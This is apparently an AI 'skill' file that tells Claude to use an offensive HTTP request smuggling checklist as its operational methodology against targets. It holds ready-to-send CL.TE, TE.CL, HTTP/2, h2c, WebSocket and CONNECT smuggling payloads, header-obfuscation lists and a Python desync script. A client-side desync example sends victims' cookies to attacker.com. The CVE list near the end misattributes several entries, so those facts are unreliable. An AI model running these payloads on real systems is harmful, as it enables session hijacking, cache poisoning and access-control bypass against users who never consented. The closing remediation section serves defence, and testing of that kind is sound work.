Claude Red Web Offensive Request Smuggling

SKILL: HTTP Request Smuggling

Metadata

• Skill Name: request-smuggling
• Folder: offensive-request-smuggling
• Source: https://github.com/SnailSploit/offensive-checklist/blob/main/req-smuggle.md

Description

HTTP request smuggling checklist: CL.TE, TE.CL, TE.TE variants, detection with timing and differential responses, WAF bypass, cache poisoning, credential hijacking, and request smuggling via HTTP/2. Use when testing reverse proxy/load balancer configurations.

Trigger Phrases

Use this skill when the conversation involves any of: request smuggling, HTTP smuggling, CL.TE, TE.CL, TE.TE, HTTP/2 smuggling, cache poisoning, WAF bypass, differential response, smuggling detection, proxy desync

Instructions for Claude

When this skill is active:

1. Load and apply the full methodology below as your operational checklist
2. Follow steps in order unless the user specifies otherwise
3. For each technique, consider applicability to the current target/context
4. Track which checklist items have been completed
5. Suggest next steps based on findings

Full Methodology

HTTP Request Smuggling

Mechanisms

HTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to "smuggle" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.

graph TD
    A[Client] -->|HTTP Request| B[Front-end Server]
    B -->|Interpreted Request| C[Back-end Server]
    B -->|Different Interpretation| D[Desynchronization]
    D -->|Smuggled Request| C
    D -->|Security Bypass| E[Unauthorized Access]
    D -->|Queue Poisoning| F[Response Hijacking]

Request smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:

• Transfer-Encoding (TE) header: Indicates chunked encoding
• Content-Length (CL) header: Specifies the length of the message body
• Header parsing: Different handling of whitespace, newlines, and malformed headers

Common desynchronization scenarios include:

• CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding
• TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length
• TE.TE: Both servers use Transfer-Encoding but handle edge cases differently

HTTP/2/3 specific desync variants:

• H2.CL / H2.TE: Conflicts between HTTP/2 body length signaling and HTTP/1 backends during downgrade.
• H2C Upgrade: Cleartext HTTP/2 (h2c) upgrade paths mishandled by intermediaries.
• Authority/Host Confusion: :authority vs Host normalization inconsistencies under CDNs.

graph LR
    subgraph "CL.TE Attack"
        A1[Client] -->|"POST / HTTP/1.1<br>Content-Length: 30<br>Transfer-Encoding: chunked<br><br>0<br><br>GET /admin HTTP/1.1<br>X-Ignore:"| B1[Front-end]
        B1 -->|"Uses Content-Length: 30<br>Sees one complete request"| C1[Back-end]
        C1 -->|"Uses Transfer-Encoding<br>Sees two requests:<br>1. POST /<br>2. GET /admin"| D1[Smuggled Request Processed]
    end

Modern variations include:

• H2.HTTP/1: HTTP/2 to HTTP/1 downgrades causing inconsistencies
• HTTP/1.H2: HTTP/1 to HTTP/2 transitions with different interpretations
• Timeout-based: Exploiting time differences in connection handling
• Method-based: Different interpretations of HTTP methods
• Header-based: Inconsistent header parsing between servers

Hunt

Identifying Vulnerable Applications

Architecture Reconnaissance

• Look for multi-server architectures with proxies, load balancers, or CDNs
• Identify systems using Nginx, HAProxy, Varnish, or Amazon ALB/CloudFront
• Check for HTTP/2 support with HTTP/1 backend compatibility

Basic Detection Tests

1. CL.TE Vulnerability Detection (Time Delay Example):

   POST / HTTP/1.1
   Host: vulnerable-website.com
   Transfer-Encoding: chunked
   Content-Length: 4
   
   1
   A
   X
   

   Send this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.

2. TE.CL Vulnerability Detection (Time Delay Example):

   POST / HTTP/1.1
   Host: vulnerable-website.com
   Transfer-Encoding: chunked
   Content-Length: 6
   
   0
   
   X
   

   Send this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.

3. CL.TE Confirmation (Example):

   POST / HTTP/1.1
   Host: your-lab-id.web-security-academy.net
   Connection: keep-alive
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 6
   Transfer-Encoding: chunked
   
   0
   
   G
   

   Send twice. The second response should indicate an unrecognized method like GPOST.

4. TE.CL Confirmation (Example): (Ensure Burp's "Update Content-Length" is unchecked)

   POST / HTTP/1.1
   Host: your-lab-id.web-security-academy.net
   Content-Type: application/x-www-form-urlencoded
   Content-length: 4
   Transfer-Encoding: chunked
   
   5c
   GPOST / HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 15
   
   x=1
   0
   
   

   Send twice. The second request should show the effect of the smuggled GPOST.

5. TE.TE Desync Detection (Obfuscation Example): (Ensure Burp's "Update Content-Length" is unchecked)

   POST / HTTP/1.1
   Host: your-lab-id.web-security-academy.net
   Content-Type: application/x-www-form-urlencoded
   Content-length: 4
   Transfer-Encoding: chunked
   Transfer-encoding: cow
   
   5c
   GPOST / HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 15
   
   x=1
   0
   
   

   Send twice. The second request should show the effect of the smuggled GPOST, confirming that one server ignored the obfuscated Transfer-encoding: cow header.

Advanced Detection Techniques

• Differential Testing: Observe response timing differences

• Time Delays: Add artificial delays between requests to detect queue interference

• Obfuscation Testing: Try various obfuscation techniques:

  Transfer-Encoding: xchunked
  Transfer-Encoding: chunked
  Transfer-Encoding : chunked
  Transfer-Encoding: chunked
  Transfer-Encoding: identity, chunked
  

  • HTTP/2 Specific: Duplicate content-length headers, mixed/malformed pseudo-headers, abnormal stream resets, header/continuation frame splitting.

Testing Methodology

flowchart TD
    A[Initial Assessment] --> B{Vulnerability Detected?}
    B -->|Yes| C[Confirmation Testing]
    B -->|No| D[Try Advanced Techniques]
    D --> B
    C --> E{Confirmed?}
    E -->|Yes| F[Targeted Testing]
    E -->|No| D
    F --> G[Documentation & Exploitation]

    subgraph "Initial Assessment"
        A1[Test CL.TE Payloads]
        A2[Test TE.CL Payloads]
        A3[Check Header Obfuscation]
    end

    subgraph "Confirmation Testing"
        C1[Send Request with Clear Response]
        C2[Test Queue Poisoning]
        C3[Check Status Code Anomalies]
    end

    subgraph "Targeted Testing"
        F1[Test HTTP/2 Downgrade]
        F2[Check Header Oversizing]
        F3[Test Method Handling]
    end

1. Initial Assessment:

   • Test standard CL.TE and TE.CL payloads
   • Try header obfuscation techniques
   • Check for timing inconsistencies

2. Confirmation Testing:

   • Send a smuggled request that should trigger a distinct response
   • Test for request queue poisoning by affecting subsequent requests
   • Look for response status code anomalies

3. Targeted Testing:

   • Test HTTP/2 downgrade scenarios
   • Check for header oversizing vulnerabilities
   • Test method-specific handling differences

Vulnerabilities

Common HTTP Request Smuggling Scenarios

mindmap
  root((HTTP Request Smuggling))
    Security Control Bypass
      WAF Bypass
      Access Control Evasion
      Authentication Bypass
    Request/Response Queue Poisoning
      Request Hijacking
      Response Queue Poisoning
      Cache Poisoning
    Server-Specific Vulnerabilities
      Nginx-Specific
      Apache-Specific
      NodeJS-Specific
    Impact
      Session Hijacking
      Data Exposure
      XSS Injection
      Cache Poisoning
      Network Scanning
      Account Takeover

Security Control Bypass

• Web Application Firewall (WAF) Bypass: Smuggling malicious content past WAF inspection
• Access Control Evasion: Accessing restricted resources by smuggling authorized-looking requests
• Authentication Bypass: Manipulating authentication flows through request smuggling

Request/Response Queue Poisoning

• Request Hijacking: Capturing parts of another user's request including cookies or authentication tokens
• Response Queue Poisoning: Causing wrong responses to be sent to users
• Cache Poisoning: Injecting malicious content into caches serving multiple users

Server-Specific Vulnerabilities

• Nginx-Specific: Inconsistent Transfer-Encoding handling with underscore prefixes
• Apache-Specific: Different chunked encoding parser behavior
• NodeJS-Specific: Unique header parsing behavior with multiple headers

Impact Examples

• Session Hijacking: Stealing user session cookies through request smuggling
• Sensitive Data Exposure: Smuggling requests to internal resources
• Cross-Site Scripting (XSS): Injecting malicious scripts into responses sent to other users
• HTTP Cache Poisoning: Poisoning cached responses viewed by multiple users
• Internal Network Scanning: Using request smuggling for SSRF-like network scanning
• Account Takeover: Smuggling requests to change user credentials

Methodologies

Tools

• Burp Suite Professional: HTTP Request Smuggler extension (PortSwigger BApp Store)
• smuggler.py: python3 smuggler.py -u <URL> (defparam/smuggler, anshumanpattnaik/http-request-smuggling)
• tiscripts: Collection of scripts including smuggling checks (defparam/tiscripts)
• h2csmuggler: go run ./cmd/h2csmuggler check https://target.com/ http://localhost (assetnote/h2csmuggler, BishopFox/h2csmuggler for HTTP/2)
• Turbo Intruder: For advanced/customized request smuggling techniques in Burp Suite.
• Param Miner: For detecting hidden attack surfaces which might be vulnerable.
• h2spec / h3spec: Conformance testing for HTTP/2 and HTTP/3 implementations.

Testing Techniques

Basic Request Smuggling Test Patterns

1. CL.TE Pattern:

   POST / HTTP/1.1
   Host: vulnerable-website.com
   Content-Length: 39
   Transfer-Encoding: chunked
   
   0
   
   GET /admin HTTP/1.1
   Host: vulnerable-website.com
   

2. TE.CL Pattern:

   POST / HTTP/1.1
   Host: vulnerable-website.com
   Content-Length: 4
   Transfer-Encoding: chunked
   
   5c
   GPOST / HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 15
   
   x=1
   0
   

3. HTTP/2 Downgrade Pattern:

   :method: POST
   :path: /
   :authority: vulnerable-website.com
   content-length: 0
   content-length: 44
   
   GET /admin HTTP/1.1
   Host: vulnerable-website.com
   

4. H2C Upgrade Smuggling Pattern:

GET / HTTP/1.1
Host: vulnerable-website.com
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__

GET /admin HTTP/1.1
Host: vulnerable-website.com

Advanced Exploitation Techniques

1. Request Hijacking:

   POST / HTTP/1.1
   Host: vulnerable-website.com
   Content-Length: 50
   Transfer-Encoding: chunked
   
   0
   
   GET / HTTP/1.1
   Host: vulnerable-website.com
   

2. Response Queue Poisoning:

   POST / HTTP/1.1
   Host: vulnerable-website.com
   Content-Length: 146
   Transfer-Encoding: chunked
   
   0
   
   HTTP/1.1 200 OK
   Content-Type: text/html
   Content-Length: 30
   
   <html>Fake Response</html>
   

3. WebSocket Hijacking:

   POST / HTTP/1.1
   Host: vulnerable-website.com
   Content-Length: 65
   Transfer-Encoding: chunked
   
   0
   
   GET /socket HTTP/1.1
   Upgrade: websocket
   Connection: Upgrade
   

Defense Testing

1. Testing Patch Effectiveness:

   • Retest with various obfuscation techniques after patches
   • Check for incomplete fixes or workarounds

2. Header Variations:

   Transfer-Encoding: chunked
   transfer-encoding: chunked
   Transfer-Encoding:chunked
   Transfer-Encoding: identity,chunked
   Transfer-Encoding: identity, chunked
   

3. Chunk Size Manipulation:

   1\r\n
   A\r\n
   0\r\n
   \r\n
   

4. HTTP/2 Strictness Checks:

• Ensure single, consistent body length signaling; reject duplicate/malformed pseudo-headers.
• Disable or tightly control h2c upgrades at edges.

Real-World Exploitation Workflow

sequenceDiagram
    participant A as Attacker
    participant F as Front-end Server
    participant B as Back-end Server
    participant V as Victim

    A->>F: 1. Send Smuggling Payload
    F->>B: 2. First Request (Front-end interpretation)
    Note over F,B: Desynchronization Occurs
    A->>F: 3. Send Normal Request
    F->>B: 4. Second Request gets appended to smuggled content
    V->>F: 5. Victim sends innocent request
    F->>B: 6. Victim's request gets processed with attacker's content
    B->>F: 7. Modified response based on smuggled content
    F->>V: 8. Victim receives unexpected/malicious response

1. Identify Desync Vulnerability:

   • Test CL.TE, TE.CL, TE.TE patterns
   • Confirm with time-delay observations

2. Establish Attack Vector:

   • Determine the most reliable desync method
   • Identify the best obfuscation technique for the target

3. Craft Exploitation Payload:

   • Create a request that smuggles another request
   • Target sensitive functionality or information disclosure

4. Execute and Validate:

   • Send the smuggled request
   • Observe the effects on subsequent responses

5. Document Impact:

   • Demonstrate real security implications
   • Show how the vulnerability could affect users

Modern Desync Variants

HTTP/3 Desync

HTTP/3 uses QUIC transport which introduces new desync opportunities when proxies translate between HTTP/3 and HTTP/1.1:

HTTP/3 to HTTP/1.1 Translation:

# HTTP/3 request with duplicate headers
:method: POST
:path: /api/endpoint
:authority: target.com
content-length: 10
content-length: 50

# Backend may use different content-length value

Testing HTTP/3:

# Using curl with HTTP/3
curl --http3 https://target.com/endpoint -v

# Check Alt-Svc header indicating HTTP/3 support
curl -I https://target.com | grep -i alt-svc

QUIC Stream Manipulation:

• Multiple streams in single connection may be processed inconsistently
• Stream resets can leave partial data in backend queues
• QPACK header compression differences between implementations

Client-Side Desync (CSD)

Client-side desync exploits browser behavior to poison the browser's own connection pool, affecting subsequent requests from the same client.

Mechanism:

1. Attacker crafts response that browser caches
2. Response includes smuggled request
3. Next victim request gets poisoned response

Example CSD Attack:

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable.com
Content-Length: 10

x=
GET /static/innocent.js HTTP/1.1
Host: vulnerable.com

Browser receives:

HTTP/1.1 200 OK
Content-Length: 100

<script>
  // Malicious JavaScript injected into cached response
  document.location='http://attacker.com/steal?cookie='+document.cookie;
</script>

Testing for CSD:

1. Send smuggling payload
2. Open same site in new tab
3. Check if subsequent request receives smuggled response
4. Look for Age or X-Cache headers indicating cache hit

High-Value Targets:

• JavaScript files (cached and executed)
• CSS files (for exfiltration via background-image)
• JSON API responses (manipulate application state)

WebSocket Desync

WebSocket upgrade process can be vulnerable to request smuggling:

WebSocket Upgrade Smuggling:

POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 200
Transfer-Encoding: chunked

0

GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: attacker-injection

Smuggling After WebSocket Establishment:

# Send via established WebSocket connection
GET /admin HTTP/1.1
Host: vulnerable.com
Cookie: admin_session=stolen_token

WebSocket Frame Manipulation:

• Inject malicious frames during upgrade
• Exploit frame fragmentation handling differences
• Target WebSocket proxies (nginx, HAProxy) that may parse differently

Testing Steps:

1. Initiate WebSocket upgrade with smuggling payload
2. Monitor if backend processes smuggled HTTP request
3. Check WebSocket frames for injected content
4. Test multiple simultaneous upgrade requests

Request Tunneling via CONNECT

CONNECT method can be abused for request smuggling:

CONNECT internal.service:80 HTTP/1.1
Host: vulnerable-proxy.com

GET /admin HTTP/1.1
Host: internal.service
Authorization: Bearer stolen_token

Testing:

1. Send CONNECT request to proxy
2. Include smuggled request in CONNECT body
3. Check if proxy forwards to internal service

Pause-Based Desync

Exploiting TCP flow control and timing:

import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('vulnerable.com', 80))

# Send headers slowly
s.send(b'POST / HTTP/1.1\r\n')
time.sleep(2)
s.send(b'Host: vulnerable.com\r\n')
time.sleep(2)
s.send(b'Content-Length: 50\r\n')
s.send(b'Transfer-Encoding: chunked\r\n\r\n')

# Send smuggled request
s.send(b'0\r\n\r\nGET /admin HTTP/1.1\r\n')
s.send(b'Host: vulnerable.com\r\n\r\n')

Header Oversizing

Exploit differences in maximum header sizes:

POST / HTTP/1.1
Host: vulnerable.com
X-Padding: AAAA[... 8KB of data ...]
Content-Length: 100
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

If front-end accepts larger headers than backend, backend may miss headers after cutoff point.

Detection Bypass Techniques (Advanced)

Header Name Obfuscation:

Transfer-Encoding : chunked          # Space before colon
Transfer-Encoding\t: chunked         # Tab
Transfer\rEncoding: chunked          # Carriage return
Transfer\x00Encoding: chunked        # Null byte (rare)
Transfer\x0bEncoding: chunked        # Vertical tab

Multiple Content-Length Variations:

Content-Length: 10
Content-Length: 20
Content-length: 30           # Case variation
CONTENT-LENGTH: 40           # Uppercase
Content-Length : 50          # Space before colon

HTTP/2 Pseudo-Header Smuggling:

:method: POST
:path: /
:authority: target.com
:method: GET                  # Duplicate pseudo-header
content-length: 0
content-length: 50            # Duplicate content-length

Transfer-Encoding Value Pollution:

Transfer-Encoding: chunked, identity
Transfer-Encoding: identity, chunked
Transfer-Encoding: chunked;q=1
Transfer-Encoding: chunked\x20\x20
Transfer-Encoding: chunked\x0d\x0a

Real-World CVEs

1. CVE-2023-45853 - MiniZinc HTTP Parser:

   • Request smuggling via Transfer-Encoding handling
   • Impact: RCE via smuggled requests

2. CVE-2023-38545 - curl SOCKS5 Heap Overflow:

   • Related to connection reuse that could enable smuggling
   • Impact: RCE in certain configurations

3. CVE-2022-31629 - PHP HTTP Response Splitting:

   • Response splitting enabling smuggling attacks
   • Impact: XSS and cache poisoning

4. CVE-2021-41773 - Apache HTTP Server Path Traversal:

   • Could be chained with request smuggling
   • Impact: RCE via CGI script access

5. CVE-2020-11724 - Varnish Cache HTTP/2 Desync:

   • HTTP/2 to HTTP/1.1 downgrade desync
   • Impact: Cache poisoning and request smuggling

Remediation Recommendations

• Consistent Request Parsing: Ensure consistent parsing rules across all servers
• HTTP/2 Isolation: Avoid translating between HTTP/2 and HTTP/1.1 where possible
• Header Validation: Implement strict header validation
• Connection Resets: Reset connections after each request when possible
• WAF Rules: Configure WAF to detect request smuggling attempts
• Content-Length Validation: Ensure Content-Length matches actual content
• Chunked Encoding Validation: Implement proper chunked encoding parsing
• Regular Security Testing: Perform request smuggling-specific security tests
• Unified Parser: Use a single RFC-compliant parsing library across front/back tiers; normalize Host/:authority
• Gateway Hardening: Strip hop-by-hop/duplicate headers; disable TE other than chunked; enforce single message framing signal
• HTTP/3 Controls: Ensure QUIC implementation correctly handles stream management and header compression
• WebSocket Security: Validate WebSocket upgrade requests; sanitize Sec-WebSocket-* headers; limit concurrent upgrades
• Client-Side Desync Prevention: Set Connection: close on sensitive responses; use HTTP/2 exclusively; implement strict cache controls
• Monitoring: Log anomalous header patterns; alert on multiple Content-Length or Transfer-Encoding headers; track connection reuse metrics